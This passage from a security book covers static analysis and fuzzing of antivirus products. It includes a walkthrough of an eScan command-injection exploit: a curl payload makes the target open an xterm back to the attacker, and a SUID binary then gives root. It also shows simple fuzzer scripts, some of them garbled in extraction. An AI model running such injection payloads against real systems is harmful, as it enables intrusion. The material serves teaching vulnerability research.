passed to FMAlloc without further sanitation or checks. Typically, a size field
in a file format that is read and used to allocate memory using FMAlloc is an
interesting target. The function InnoDecoder::IsInnoNew, which is one of the
many cross-references to FMAlloc, is an example of that. In this function, there
are a few calls to initialize internal structures and to read the DOS header
of an InnoSetup-compressed executable, the PE header, and other headers,
as well as InnoSetup’s own header. After such function calls, you have the
following code:
short loc_F72E57B1
esp, 0Ch
; n
; FMAlloc(uint)
esp, 10h
eax, eax
[ebp+s], eax
short loc_F72E57B1
; n
; c
; s
esp, 10h
This code calls FMAlloc, passing the argument n. It so happens that n is actually read directly from the file buffer, so by simply setting this 32-bit unsigned
value of the corresponding field in the input file to 0xFFFFFFFF (–1), you trigger
the bug you just uncovered. To test this bug, you have to create (or download)
an InnoSetup and modify the field in question to the value 0xFFFFFFFF. When
a vulnerable (old) version of F-Secure Anti-Virus analyzes such a file, it crashes
because it attempts to write to a null pointer.
You have just discovered an easy remote denial-of-service (DoS) attack vector
in the InnoSetup installer files analyzer code of F-Secure, and that is because of
Part III ■ Analysis and Exploitation
a buggy malloc wrapper function. The InnoDecoder::IsInnoNew
w function is just
one vulnerable function. There were many more, such as LoadNextTarFilesChunk,
but according to the vendor they are now all fixed. As an exercise, you can verify
whether this is true.
Remote Services
Static analysis can be applied to any other source code listing and not just a
disassembler code listing. For example, this section covers a bug in eScan Antivirus
for Linux that can be discovered by statically analyzing the PHP source code
of the management web application. It took one hour to discover this vulnerability by taking a look at the installed components. eScan Antivirus for Linux
consists of the following components:
A multiple antivirus scanner using the kernels of both Bitdefender and
An HTTP server (powered by Apache)
A PHP application for management
A set of other native Executable and Linkable Format (ELF) programs
These components must be installed separately using the appropriate DEB
package (for Ubuntu or other Debian-based Linux distributions). The vulnerable
package versions of this product are shown here:
You do not need to install the packages to perform static analysis for the
purpose of finding vulnerabilities. You just need to unpack the files and take
a look at the PHP sources. However, naturally, to test for possible vulnerabilities, you need to have the product deployed and running, so you should
install it anyway.
The command to install the eScan DEB packages in Debian-based Linux
distributions is $ dpkg -i *.deb.
After you install the application, a set of directories, applications, and so on
are installed in the directory /opt/MicroWorld, as shown here:
$ ls /opt/MicroWorld/
bin etc lib sbin usr
It is always interesting for local applications to look for SUID/SGID files (see
Chapter 10 for more information). However, in the case of this specific application, even when it is remote, you should also check for SUID/SGID files for a
Chapter 12 ■ Static Analysis
reason that will be explained later on. The command you can issue in Linux or
Unix to find SUID files is as follows:
$ find . -perm +4000
This command reveals that the program runasroot is SUID. According to
its name, the purpose of this program is clear: to run as root the commands
that are passed to it. However, not all users can run it, only the users root
and mwconf (a user created during the installation). The PHP web application,
running under the context of the installed web server, runs as this user. This
means that if you manage to find a remote code execution bug in the PHP web
application, you can simply run commands as root, because the user mwconf is
allowed to execute the SUID application runasroot. If you can manage to find
such a bug, it would be extremely cool.
Take a look at the PHP application installed in the directory /opt/MicroWorld
$ find /opt -name "*.php"
Part III ■ Analysis and Exploitation
Notice that there are a lot of PHP files. If you open the file index.php (the very
first page that is usually served by the web server), you will discover that it is
not very exciting. However, inside it, there is a section of code that references
the PHP script login.php:
<form method="post" action="login.php">
<table class="tabledata" width="400" align="center"
Now open the fi le and check how it performs authentication. Perhaps
you can find some way to bypass it. It starts by checking whether the
CGI REQUEST_METHOD used was not the GET method (as opposed to the POST
method, for example):
// code for detection of javascript and cookie support in client browser
if(strpos($_SERVER["REQUEST_METHOD"],"GET") !== false )
header("Location: index.php");
Then, a set of checks for actions are performed that are completely irrelevant
to your purposes. It is worthwhile noting how $runasroot is referenced:
$passwd = trim($_POST["pass"]);
$language = $_POST["language"];
$conffile = "/opt/MicroWorld/etc/auth.conf";
$auth_conf = false;
$auth_conf = MW_readConf($conffile, "#", '', '"');
$auth_conf = array();
$auth_conf['auth']['type'] = 0;
exec("$runasroot /bin/touch $conffile");
Chapter 12 ■ Static Analysis
exec("$runasroot /bin/chown mwconf:mwconf $conffile");
The PHP script is reading from the arguments sent to the PHP application some
interesting fields (uname, short for user name, and pass, short for password), and,
more interestingly, it is simply calling exec($runasroot) using some variables.
However, the $conffile is hard-coded in the PHP application, and as so you cannot influence it. Can you somehow influence any other exec($runasroot) calls?
If you continue to analyze this PHP file, you will discover a suspicious check:
$retval = check_user($username, "NULL", $passwdFile, "NULL");
if($v != 0 )
header("Location: index.php?err_msg=usernotexists");
elseif( strlen($passwd)<5 )
header("Location: index.php?err_msg=password_len");
elseif( preg_match("/[|&)(!><\'\"` ]/", $passwd) )
header("Location: index.php?err_msg=password_chars");
if($v == 0)
if($v == 0)
Do you see the preg_match call? It is meant to fi nd any of the following
characters and the space character: [!&)(!><'"`. You might guess at the first
check that this call filters out typical command injections based on using shell
escape characters. However, if that is the case, then it forgot to filter at least
one more important character: the semicolon (;). Follow the control flow of this
PHP script to see whether the $passwd argument sent from the client is actually
Part III ■ Analysis and Exploitation
used and passed to some kind of operating system command. Eventually, if
all the checks are passed, it calls the function check_user. Running a grep
search for it, you discover that it is implemented in the PHP script common_
functions.php . If you open this fi le and go to the implementation of the
check_user function, you discover the following:
function check_user($uname, $password, $passfile, $product)
// name and path of the binary
$prog = "/opt/MicroWorld/sbin/checkpass";
$runasroot = "/opt/MicroWorld/sbin/runasroot";
// name and path of the passwd file
$out= exec("$runasroot $prog $uname $password $passfile
$val = $output[0]."-".$ret;
return $val;
Beautiful! The user-passed password field is concatenated and executed via
the PHP function exec(), which allows the use of shell escaping characters;
this, in turn, makes it possible to execute any operating system command.
However, because you are using the semicolon character, it acts as a command
separator; thus, the subsequent command is processed not by the SUID binary
runasroot but rather by the shell itself and will be executing the command as
the user running the web application mwconf. However, as you previously discovered, the user was also allowed to execute the runasroot SUID executable.
As a result, you can inject a command, but, unfortunately, you cannot directly
run code as root.
You have one more problem: the space character is filtered out. This means
that you cannot construct long commands because spaces are forbidden. Does
this mean that you are restricted to running one single command? Not quite,
because you can use an old trick: you can run the command xterm, or any other
X11 GUI applications telling it to connect back to you. However, because you
cannot use spaces, you need to inject various commands, separated with the
semicolon character. Also, there is one more detail: before executing the command, the script checks that the given username is valid. This is an unfortunate
limitation, as it restricts your exploitation because you need to know at least
one valid username. However, suppose you know a valid username (and it is
not that difficult to guess in many situations); here is how your first attempt to
exploit this bug might look:
$ curl -data \
"product=1&[email protected]&pass=;DISPLAY=YOURIP:0;xterm;" \
Chapter 12 ■ Static Analysis
When you run this command, the vulnerable machine tries to connect back
to the X11 server running on your machine. Then, you can simply issue the
following command from xterm to gain root privileges:
$ /opt/MicroWorld/sbin/runasroot bash
And you are done—you are now root in the vulnerable machine! This particular
vulnerability was discovered exclusively by using static analysis. It would not have
been possible, or at least easy, to discover the vulnerability using only dynamic
analysis techniques, as you did not know its inner workings. In any case, different
techniques may find different kinds of bugs.
Static analysis is a research method used to analyze code without actually
executing it. Usually, this involves reading the source code of the said software,
if it is available, and looking for security lapses that allow an attacker to exploit
the software. If a product is closed source, then binary reverse-engineering is the
way to go. IDA is the de facto tool for such tasks. With IDA’s FLIRT technology,
you can save time by avoiding reverse-engineering library functions compiled
into the binary because FLIRT identifies them for you, thus leaving you more
interesting pieces to reverse-engineer.
Additionally, the chapter presented two hands-on examples showing how to
statically analyze source code and the disassembly of a closed-source program
using IDA. Through reverse-engineering a bug that can be exploited remotely
was uncovered in the file format parser of an old version of F-Secure Anti-Virus
for Linux. Similarly, we demonstrated a way to remotely inject commands and,
thereafter, escalate privilege in the eScan antivirus for Linux administration
console just by reading its PHP source code.
Static analysis has its limitations, especially when it could be very timeconsuming to reverse-engineer closed-source programs or when the source code
of a software is too big to read and find bugs in. The next chapter will discuss
dynamic analysis techniques that begin where static analysis left off, by analyzing the behavior of the program during runtime and finding security bugs.
Dynamicc Analysis
Dynamic analysis techniques, as opposed to static analysis techniques, are
methods used to extract information based on the behavior of an application
by running the target, instead of merely analyzing the source code or the disassembly listing of the target application.
Dynamic analysis techniques are performed on computer software and hardware by executing the program or programs in a real or virtualized environment
in order to gather behavioral information from the target. You can use many
different dynamic analysis techniques. This chapter focuses on two techniques:
fuzzing and code coverage. The following sections will cover both techniques,
with special emphasis on fuzzing.
Fuzzing is a dynamic analysis technique that is based on providing unexpected or malformed input data to a target program in the hopes that it will
cause the target to crash, thus leading to the discovery of bugs and, possibly,
interesting vulnerabilities. Fuzzing is probably the most used technique to
find bugs in computer programs because it is relatively easy to discover bugs
with such techniques: even the most rudimentary fuzzer has the ability to
uncover and find bugs. Performing simple fuzzing is extremely easy; however,
Part III ■ Analysis and Exploitation
doing it properly is not. I will discuss examples of really simple fuzzers that,
nevertheless, find bugs. I will also discuss more complex and elaborate fuzzers
that use code coverage to augment the bug-finding capabilities of these fuzzing
tools or frameworks.
What Is a Fuzzer?
When people ask me what fuzzer I use, I usually answer by asking them,
“What is a fuzzer to you?” For some people, a fuzzer is a simple mutator—a
tool that takes input (as a template) and performs mutations on it, returning a
different buffer based on the passed template. For others, a fuzzer is an elaborate tool that not only generates mutated files but also tries to run those files
with the target application that they are trying to fuzz. Still others think of it
as a comprehensive framework that lets them do more than just mutate files
and test them against a target application. In my opinion, a fuzzer is actually
the latter group: a complete framework that allows you to perform dynamic
analysis against the target or targets of your choice. Such a framework should
have at least the following components:
Mutators—Algorithms that make random changes based on a buffer
(a template) or based on a file format or protocol specification.
Instrumentation tools—Libraries or programs that let you instrument
(debug, catch exceptions, etc.) your target application in order to catch
exceptions and errors. This part is optional for basic fuzzers.
A more complex fuzzing framework, however, should offer more components:
Bug triaging tools
Crash management
Automatic crash analysis tools
Proof-of-concept minimizing tools
The last item in the list was intentionally left blank because, in fuzzing,
many different analyses can be performed on the target (such as employing
monitoring techniques that are not exclusively based on catching crashes) or
over the generated proofs-of-concepts or crashes. In the following sections,
I will demonstrate fuzzing techniques using a basic random mutation strategy without instrumentation or any kind of monitoring other than sitting
and waiting for the target to crash. After that, I will move to more complete
fuzzing solutions.
Chapter 13 ■ Dynamic Analysis
Simple Fuzzing
A simple but effective fuzzer can be created very easily by using a basic mutation
strategy. For example, for fuzzing antivirus products, you can create a simple
Python script that does the following:
1. Takes a file or set of files as input
2. Performs random mutations on the content of the passed files
3. Writes the newly generated files in a directory
4. Instructs the antivirus’s on-demand scanner to scan the directory with all
the mutated samples and wait until it crashes at some point
Such a Python script is very easy to write. For my initial experiments, I will
create a simple generic fuzzer and use the Bitdefender Antivirus for Linux. In
any case, the script will be generic and could easily support any other antivirus
scanner for Windows, Linux, or Mac OS X, as long as a command-line scanner
utility exists for the desired antivirus product and platform.
The following is the entire code of this basic fuzzer:
$ cat
import os
import sys
import random
from hashlib import md5
#----------------------------------------------------------------------class CBasicFuzzer:
def __init__(self, file_in, folder_out, cmd):
""" Set the directories and the OS command to run after mutating.
self.folder_out = folder_out
self.file_in = file_in
self.cmd = cmd
def mutate(self, buf):
tmp = bytearray(buf)
# Calculate the total number of changes to made to the buffer
total_changes = random.randint(1, len(tmp))
for i in range(total_changes):
# Select a random position in the file
pos = random.randint(0, len(tmp)-1)
# Select a random character to replace
Part III ■ Analysis and Exploitation
char = chr(random.randint(0, 255))
# Finally, replace the content at the selected position with the
# new randomly selected character
tmp[pos] = char
return str(tmp)
def fuzz(self):
orig_buf = open(self.file_in, "rb").read()
# Create 255 mutations of the input file
for i in range(255):
buf = self.mutate(orig_buf)
md5_hash = md5(buf).hexdigest()
print "[+] Writing mutated file %s" % repr(md5_hash)
filename = os.path.join(self.folder_out, md5_hash)
with open(filename, "wb") as f:
# Run the operating system command to scan the directory with the av
cmd = "%s %s" % (self.cmd, self.folder_out)
#----------------------------------------------------------------------def usage():
print "Usage:", sys.argv[0], "<filename> <output directory> " + \
"<av scan command>"
#----------------------------------------------------------------------def main(file_in, folder_out, cmd):
fuzzer = CBasicFuzzer(file_in, folder_out, cmd)
if __name__ == "__main__":
if len(sys.argv) != 4:
main(sys.argv[1], sys.argv[2], sys.argv[3])
This very basic example creates a CBasicFuzzer class with only three
methods: the constructor ( __init__), mutate, and fuzz. The mutate method takes
as input a string buffer, and then it replaces a random number of bytes in that
buffer, at random locations, with random characters. The fuzz method reads a
file (usually the input template), mutates the read buffer, and saves the mutated
buffer as a new file (named by calculating the mutated buffer’s MD5 hash); this
process is repeated 255 times. Finally, after creating all the 255 mutations, it
runs one operating system command to tell the antivirus scanner to scan that
directory. In short, all the fuzzer does is create 255 mutated files, store them in
a single directory, and finally instruct the antivirus software to scan that folder.
Chapter 13 ■ Dynamic Analysis
In the following example, the fuzzer is instructed to create 255 random
mutations of the Executable and Linkable Format (ELF) program /bin/ls, write
them in the out directory, and then run the bdscan command to tell Bitdefender
Antivirus for Linux to analyze that directory:
$ python ../ /bin/ls out/ bdscan
[+] Writing mutated file '27a0f868f6a6509e30c7420ee69a0509'
[+] Writing mutated file '9d4aa7877544ef0d7c21ee9bb2b9fb17'
[+] Writing mutated file '12055e9189d26b8119126f2196149573'
(…252 more files skipped…)
BitDefender Antivirus Scanner for Unices v7.90123 Linux-i586
Copyright (C) 1996-2009 BitDefender. All rights reserved.
This program is licensed for home or personal use only.
Usage in an office or production environment represents
a violation of the license terms
Infected file action: ignore
Suspected file action: ignore
Loading plugins, please wait
Plugins loaded.
b69e85ab04d3852bbfc60e2ea02a0121 ok
a24f5283fa0ae7b9269724d715b7773d ok
dc153336cd7125bcd94d89d67cd3e44b ok
Even though this fuzzing method is rudimentary, it does work. The fuzzing
results depend mainly on the quality of the targets (for example, how buggy
the antivirus product is that you are testing against) and the quality of the
input samples.
Automating Fuzzing of Antivirus Products
In the previous section, I created a basic fuzzer. It works in some cases, but if the
target application crashes, some important questions are left unanswered: How
does it crash? Where does it crash? Why does it crash? If the antivirus scanner
crashes while analyzing the very first file, it will not continue analyzing all the
other files in the directory; what can you do in this case? With such a simple
fuzzing approach, how can you determine which file caused the antivirus
scanner to crash? And how can you continue analyzing the other files?
The answer for most of these questions is always the same: combine automation with debugging. Writing a basic fuzzer, like the one in the previous
section, is very easy. Writing a fuzzer that captures crash information, manages
it, moves the proofs-of-concepts to other directories, and continues scanning
Part III ■ Analysis and Exploitation
all the other files is substantially more complex. Indeed, fuzzing can be done
at varying levels of complexity: from taking a very simple approach, as when
using approximately five lines of shell script, to using very complex frameworks
that employ debuggers, code coverage, corpus distillation, and so on.
Using Command-Line Tools
One of the simplest examples of automation that answers some of the questions
posed earlier addresses these questions using command-line tools, at least in Unix
environments. For example, you can get information about crashes by running
the command ulimit -c unlimited before running the antivirus scanner; then,
if the target process crashes, the operating system generates a “core” dump file
to disk. Also, to determine which file is crashing the antivirus, why not execute
the antivirus scanner for each file instead of for the whole directory?
This section shows some modifications you can make to the sample Python
fuzzer script used in the previous section. However, keep in mind that this
approach is still a rudimentary form of monitoring the target. These are the
steps that are covered here:
1. Run the command ulimit -c unlimited before executing the antivirus
2. Run the antivirus scanner for each file instead of for the whole directory.
3. If there is a “core” file, move it into some directory with the crashing
4. Instead of creating just 255 modifications, create random mutations continuously, until you stop the fuzzer.
Add the following lines right after the last import statement:
import shutil
#----------------------------------------------------------------------RETURN_SIGNALS = {}
#----------------------------------------------------------------------def log(msg):
print "[%s] %s" % (time.asctime(), msg)
Chapter 13 ■ Dynamic Analysis
Then, I replace the code of the CBasicFuzzer.fuzz() method with the
following code:
def fuzz(self):
log("Starting the fuzzer...")
orig_buf = open(self.file_in, "rb").read()
log("Running 'ulimit -c unlimited'")
os.system("ulimit -c unlimited")
# Create mutations of the input file until it's stopped
while 1:
buf = self.mutate(orig_buf)
md5_hash = md5(buf).hexdigest()
log("Writing mutated file %s" % repr(md5_hash))
filename = os.path.join(self.folder_out, md5_hash)
with open(filename, "wb") as f:
# Run the operating system command to scan the file we created
cmd = "exec %s %s > /dev/null" % (self.cmd, filename)
ret = os.system(cmd)
log("Running %s returned exit code %d" % (repr(cmd), ret))
# If the exit code of the process indicates it crashed, rename
# the generated "core" file.
log("CRASH: The sample %s crashed the target.
Saving information..." % filename)
shutil.copy("core", "%s.core" % filename)
# If the proof-of-concept did not crash the target, remove the
# file we just created
At the beginning of the method fuzz(), after reading the original template
file, the command ulimit -c unlimited runs. Then, instead of creating 255
files as the previous script did, it loops forever. The command was modified
to run the scanner against each file while redirecting the output to /dev/null.
Previously the scanner ran against the whole directory. Under Unix, the exit
code of a process that crashed is actually the signal it crashed with. Therefore,
after executing the antivirus command-line scanner (with os.system), the
exit code is checked to detect whether the scanner crashed. For example, if
the exit code is 139, it means that a SIGSEGV signal was raised for the process
(a segmentation fault). If the exit code is in any of the interesting signals, the
core file associated with the crashing file is copied; otherwise, it is removed.
This fuzzer will keep generating modifications (mutations) based on the
Part III ■ Analysis and Exploitation
input template file forever, saving the core files (in case of a crash) and the
proofs-of-concepts (the mutated input fi le causing the crash) in the output
directory just created.
The following is the output of this fuzzer when used with Bitdefender Antivirus
for Unix:
$ python ../ mysterious_file out/ bdscan
[Mon Apr 20 12:39:05 2015] Starting the fuzzer...
[Mon Apr 20 12:39:05 2015] Running 'ulimit -c unlimited'
[Mon Apr 20 12:39:05 2015] Writing mutated file
[Mon Apr 20 12:39:07 2015] Running 'exec bdscan
out/986c060db72d2ba9050f587c9a69f7d5 > /dev/null' returned exit code 0
[Mon Apr 20 12:39:07 2015] Writing mutated file
[Mon Apr 20 12:39:10 2015] Running 'exec bdscan
out/e5e4b5fe275971b9b24307626e8f91f7 > /dev/null' returned exit code 0
[Mon Apr 20 12:39:10 2015] Writing mutated file
[Mon Apr 20 12:39:10 2015] Running 'exec bdscan
out/287968fb27cf18c80fc3dcd5889db136 > /dev/null' returned exit code 65024
[Mon Apr 20 12:39:10 2015] Writing mutated file
[Mon Apr 20 12:39:11 2015] Running 'exec bdscan
out/01ca5841b0a0c438d3ba3e7007cda7bd > /dev/null' returned exit code
[Mon Apr 20 12:39:11 2015] Writing mutated file
[Mon Apr 20 12:39:11 2015] Running 'exec bdscan
out/6bae9a6f1a6cef21fe0d6eb31d1037a5 > /dev/null' returned exit code
[Mon Apr 20 12:39:11 2015] Writing mutated file
[Mon Apr 20 12:39:19 2015] Writing mutated file
[Mon Apr 20 12:39:22 2015] Running 'exec bdscan
out/84652cc61a7f0f2fbe578dcad490c600 > /dev/null' returned exit code 139
[Mon Apr 20 12:39:22 2015] CRASH: The sample
out/84652cc61a7f0f2fbe578dcad490c600 crashed the target. Saving
[Mon Apr 20 12:51:16 2015] Writing mutated file
[Mon Apr 20 12:51:19 2015] Running 'exec bdscan
out/f6296d601a516278634b44951a67b0d4 > /dev/null' returned exit code 139
[Mon Apr 20 12:51:19 2015] CRASH: The sample
out/f6296d601a516278634b44951a67b0d4 crashed the target. Saving
^C (Press Ctrl+C to stop it)
Chapter 13 ■ Dynamic Analysis
Bitdefender Antivirus crashes after a while, and both the core files and the
offending mutated file are saved. After this, you can use gdb (or other tools) to
inspect the core file and determine the reason for the crash:
$ LANG=C gdb --quiet bdscan f6296d601a516278634b44951a67b0d4.core
Reading symbols from bdscan...(no debugging symbols found)...done.
Core was generated by 'bdscan out/f6296d601a516278634b44951a67b0d4'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0xf30beXXX in ?? ()
(gdb) x /i $pc
=> 0xf30beXXX:
(gdb) i r ecx edx
(gdb) x /x $ecx
0x23a80550: Cannot access memory at address 0x23a80550
It seems that dereferencing the memory pointed at by the expression
ECX+EDX+0x24 (which resolves to 0x23a80550) is invalid, thus causing the crash.
This is still a very immature fuzzer that does not record much information—
only the most basic: core file and proof-of-concept. For example, it does not know
how to group similar crashes. Also, because it runs the antivirus command-line
scanner for each file serially, it is significantly slower.
In this section, the approach was focused on the Unix platform. The next
section addresses fuzzing an antivirus that is specific to Windows.
Porting Antivirus Kernels to Unix
When the target antivirus runs exclusively in Windows, it is best to port the
fuzzer, or at least the instrumentation part of the fuzzer, to another operating
system that is more suitable for automation and fuzzing. For example, fuzzing at a medium to large scale with Windows is problematic nowadays. If you
want to have small virtual machines where you can run your fuzzers, you are
restricted to Windows XP targets. Otherwise, you can prepare 10GB to 20GB
virtual machines with Windows 7. With Windows 8.1 and Windows 10, you
can expect to increase the minimum required disk space for a working virtual
machine. With Linux and other Unix systems, such as FreeBSD, you can have
very small virtual machines. In some cases, it is very feasible to allocate 1GB or
even 512MB of disk space for the virtual machine with the target application
installed. Naturally, the less disk space that is required for the virtual machine,
the easier it is to manage. Regarding memory requirements for the virtual
machine with Windows XP, 1GB to 2GB of RAM is more than enough; in fact,
512MB of RAM is adequate. With Windows 7, the minimum recommended
virtual machine memory allocation for fuzzing is 2GB, and the actual amount
Part III ■ Analysis and Exploitation
of RAM that works well in most cases is 4GB. (Using less RAM can cause a
lot of false positive crashes due to low memory and allocation failures.)
Because of the increasing use of RAM and disk space in each new Windows
version, it is tempting to try another approach to fuzzing: to find a way to fuzz
Windows applications from Linux, using Wine (this process is briefly described
in Chapter 2). Wine, which stands for “Wine Is Not an Emulator,” is a free and
open-source implementation of Windows APIs for Linux. It can run Windows
binaries unmodified on Unix systems, and it also allows you to run Windows-only
binaries, such as DLLs, from native Unix applications. Wine does not emulate
the code; instead, it executes the code natively at full speed, while trapping the
syscalls and interruptions that should be handled in a real Windows operating
system and handling them and rerouting them to the Linux kernel. Winelib, on
the other hand, is a toolkit that can be used to write native Unix applications
using the Windows SDK.
The following two approaches are useful for fuzzing a Windows antivirus
on Unix systems:
Reverse-engineer the core kernel and port with Winelib to Unix.
Even simpler, run the independent command-line scanner, if there is any,
in Linux or Unix using Wine.
The first approach, reverse-engineering the kernel and writing an interface
for the antivirus kernel specific for Windows (for example, Microsoft Security
Essentials), is the best approach because you do not rely on Wine or other layer
emulation. However, this approach is very time-consuming. A reverse-engineer
would need to first reverse-engineer the kernel to discover the interfaces used
for loading the kernel, launching scans, and so on; discover the appropriate
structures and enumerations; write the unofficial SDK; and, finally, write the
tool that would run in a Unix-like environment. Naturally, this approach is
prohibitive in many cases because of the number of human hours required. For
long projects it is really a good approach, but for smaller projects it is excessive.
Instead, you can use an ad hoc approach based on the same idea: rather than
using Winelib (which requires more work from you), you can use Wine and
run the independent command-line scanner.
Fuzzing with Wine
This section shows you how to use Wine to port the T3Scan Windows
command-line scanner and run it under Linux. You can download T3Scan
You need both the t3scan.exe self-extracting program and the t3sigs.vdb
(Virus Database) file. After downloading both files, run the t3scan.exe program
via Wine by issuing the following command:
$ wine t3scan.exe
Chapter 13 ■ Dynamic Analysis
A dialog box shows up, asking whether you want to extract some files. Select
the current directory and click Extract files. You can search for the current
directory in the (usually available) Z: virtual Wine drive. Otherwise, type in
the “.” directory. Alternatively, you can run the command to extract the tools on
Windows and copy the resulting files, T3Scan.exe and t3.dll, to the current
directory. In any case, after you have the three files, T3Scan.exe, t3.dll, and
the virus database t3sigs.vdb, you can run the following command to test
whether T3Scan is running:
$ wine T3Scan.exe
fixme:heap:HeapSetInformation (nil) 1 (nil) 0
Syntax: t3scan [options] <samples>
t3scan [options] <path>
-help | -h | -?
-filelist | -F <filename>
file <filename>
-logfile | -l <filename>
-maxfilesize | -m <n>
-nosubdirs | -d
-r <n>
-vdbpath | -vp <directory>
Special options:
-noarchives | -na
-rtimeout <seconds>
archive after <seconds>
for the archive is reported
-timeout <seconds>
-version | -ver
-verbose | -v
This help
Read input files from newline-separated
Create log file
Max. filesize in MB (default 64MB)
No simulation
Do not scan sub directories
Max. recursive scans (default 8)
Path to signature database
Do not scan archive content
Stop recursively scanning files in an
Summarize archives: only the final result
Stop scanning a single file after
Display the program, engine and VDB
Display VDB version
Increase the output level
Disable adware/spyware signatures
If you can see the output of the program, T3Scan is correctly working under
Wine. Now, you need to adapt the simple fuzzer created in the previous sections
to handle how Wine works. To do so, run a program via the Python function
os.system(). In the case of a segmentation fault, SIGSEGV, it returns the exit
code 139; for SIGBUS, it returns the exit code 138, and so on. However, using
Wine, it is a bit different: to take the exit code, you need to shift it to the right by
8 bits, and then add 128 to it in order to get the signal code value. Therefore, you
can keep using the same dictionary (named RETURN_SIGNALS) as before, after
Part III ■ Analysis and Exploitation
applying this formula. Add a flag to the fuzzer script so it knows whether you
are running it with Wine. The diff patch for the code is as follows:
$ diff
def __init__(self, file_in, folder_out, cmd):
def __init__(self, file_in, folder_out, cmd, is_wine = False):
self.is_wine = is_wine
cmd = "exec %s %s > /dev/null" % (self.cmd, filename)
cmd = "%s %s" % (self.cmd, filename)
ret = (ret >> 8) + 128
print "Usage:", sys.argv[0], "<filename> <output directory>
<av scan command>"
print "Usage:", sys.argv[0], "<filename> <output directory>
<av scan command> [--wine]"
< def main(file_in, folder_out, cmd):
fuzzer = CBasicFuzzer(file_in, folder_out, cmd)
--> def main(file_in, folder_out, cmd, is_wine=False):
fuzzer = CBasicFuzzer(file_in, folder_out, cmd, is_wine)
if len(sys.argv) != 4:
if len(sys.argv) < 4:
elif len(sys.argv) == 4:
elif len(sys.argv) == 5:
main(sys.argv[1], sys.argv[2], sys.argv[3], True)
The lines in bold are the new ones added to the simple fuzzer. After applying
this patch, you can fuzz the Windows-only Ikarus command-line scanner as I
did before with the native Bitdefender command-line scanner, as shown in the
following example:
$ python s_bio.lzh out "wine32 test/T3Scan.exe" \
[Mon Apr 20 18:55:23 2015] Starting the fuzzer...
[Mon Apr 20 18:55:23 2015] Running 'ulimit -c unlimited'
[Mon Apr 20 18:55:27 2015] Writing mutated file
Chapter 13 ■ Dynamic Analysis
IKARUS - T3SCAN V1.32.33.0 (WIN32)
Engine version: 1.08.09
VDB: 20.04.2015 12:09:39 (Build: 91448)
Copyright ® IKARUS Security Software GmbH 2014.
All rights reserved.
1 file scanned
0 files infected
Used time: 0:02.636
[Mon Apr 20 18:55:30 2015] Running 'wine32 test/T3Scan.exe
out/7ae0b2339d57dbc58dd748a426c3358b' returned exit code 128
[Mon Apr 20 18:55:34 2015] Writing mutated file
IKARUS - T3SCAN V1.32.33.0 (WIN32)
Engine version: 1.08.09
VDB: 20.04.2015 12:09:39 (Build: 91448)
Copyright ® IKARUS Security Software GmbH 2014.
All rights reserved.
1 file scanned
0 files infected
Used time: 0:02.627
[Mon Apr 20 18:55:37 2015] Running 'wine32 test/T3Scan.exe
out/7c774ed262f136704eeed351b3210173' returned exit code 128
Now the fuzzer will work. If you provide it with the right input sample and
wait for a while, it will eventually crash and save the relevant information to
the selected output directory.
Problems, Problems, and More Problems
The current model of the fuzzer for antivirus products developed in the previous section suffers from a number of problems. For example, it runs one entire
instance for each created file. It runs a single process for each created mutation.
It implements only one (naïve) mutation strategy. It offers no fine-grain detail
about why or how the application crashed. It also mutates only a single input
template. What if the file format parser you are fuzzing is not buggy, or the bug
Part III ■ Analysis and Exploitation
does not manifest itself with the provided input template? I will both discuss
and address some of these points in the following sections. The first step is to
select or find good sample files to be used as input templates.
Finding Good Templates
Template files for fuzzers are the original files on which the fuzzers are going
to base all modifications and mutations. In the previous examples, when I ran
the fuzzer that I created for fuzzing Windows applications (using Wine), I used
an LZH file, and in the very first fuzzer run, I used an ELF file. These are only
two file formats from the very long list of formats that are supported by antivirus kernels. The list of file formats supported by antivirus products is mostly
unknown, but some file formats are widely supported for almost all antivirus
kernels. Such file formats include, but are not restricted to, compressors and
archivers, EXE packers, Microsoft Office file formats, HTML, JavaScript, VBScript,
XML, Windows LNK files, and more.
Finding good templates for fuzzing antivirus engines not only means finding file formats of some sort (for example, Windows PE files) and sub-formats
(such as EXE packers) that the targeted antivirus product or products support
but also means finding good templates for the specific format. For instance, if
you want to fuzz OLE2 containers, such as Microsoft Word or Excel files, and
restrict your template corpus to very basic Word or Excel documents, then you
will be able to fuzz the features covered by that set (of template corpus) and not
all the features supported by the product. It is almost impossible to fuzz the
entire feature-set, but at least you can try to find better samples by using a technique called corpus distillation. This technique works by doing the following:
It runs the first sample file against the target program under binary instrumentation using tools such as DynamoRIO or Intel PIN and records the
different basic blocks that are executed.
Another sample to be tested for quality is executed under instrumentation as with the previous basic sample and is only considered when new
basic blocks (not executed before) are executed.
New samples can be accepted only if they execute basic blocks that were
not executed by the previous samples.
If a sample only covers code that was already covered by the previous
samples, there is no point in using that file as a template, because the
feature-set it is using is already covered by previous samples.
There is only one half out-of-the-box tool I know for doing code coverage, and
it is called PeachMinset. Go to
to learn how it works for a previous version of Peach (version 3).
Chapter 13 ■ Dynamic Analysis
Basically, PeachMinset functionality consists of two steps:
1. Collecting traces from the sample files
2. Computing the minimum set
The first step is a long process because it uses binary instrumentation to
execute every single template file that exists. Computing the minimum set is
faster because it just needs to compute the best set of files covering the most
features possible.
The following is an example execution of the tool PeachMinset.exe, which
internally uses the Intel PIN library, against a set of PNG files and a tool that
consumes PNG files:
>peachminset -s pinsamples -m minset -t traces bin\pngcheck.exe
] Peach 3 -- Minset
] Copyright (c) Deja vu Security
[*] Running both trace and coverage analysis
[*] Running trace analysis on 15 samples...
Converage trace of pinsamples\basn0g01.png...done.
Converage trace of pinsamples\basn0g02.png...done.
Converage trace of pinsamples\basn0g04.png...done.
Converage trace of pinsamples\basn0g08.png...done.
Converage trace of pinsamples\basn0g16.png...done.
Converage trace of pinsamples\basn2c08.png...done.
Converage trace of pinsamples\basn2c16.png...done.
Converage trace of pinsamples\basn3p01.png...done.
Converage trace of pinsamples\basn3p02.png...done.
Converage trace of pinsamples\basn3p04.png...done.
Converage trace of pinsamples\basn3p08.png...done.
Converage trace of pinsamples\basn4a08.png...done.
Converage trace of pinsamples\basn4a16.png...done.
Converage trace of pinsamples\basn6a08.png...done.
Converage trace of pinsamples\basn6a16.png...done.
[*] Finished
[*] Running coverage analysis...
3 files were selected from a total of 15.
[*] Copying over selected files...
pinsamples\basn3p08.png -> minset\basn3p08.png
pinsamples\basn3p04.png -> minset\basn3p04.png
pinsamples\basn2c16.png -> minset\basn2c16.png
[*] Finished
From a set of 15 PNG files, it selected only 3 files covering the features that
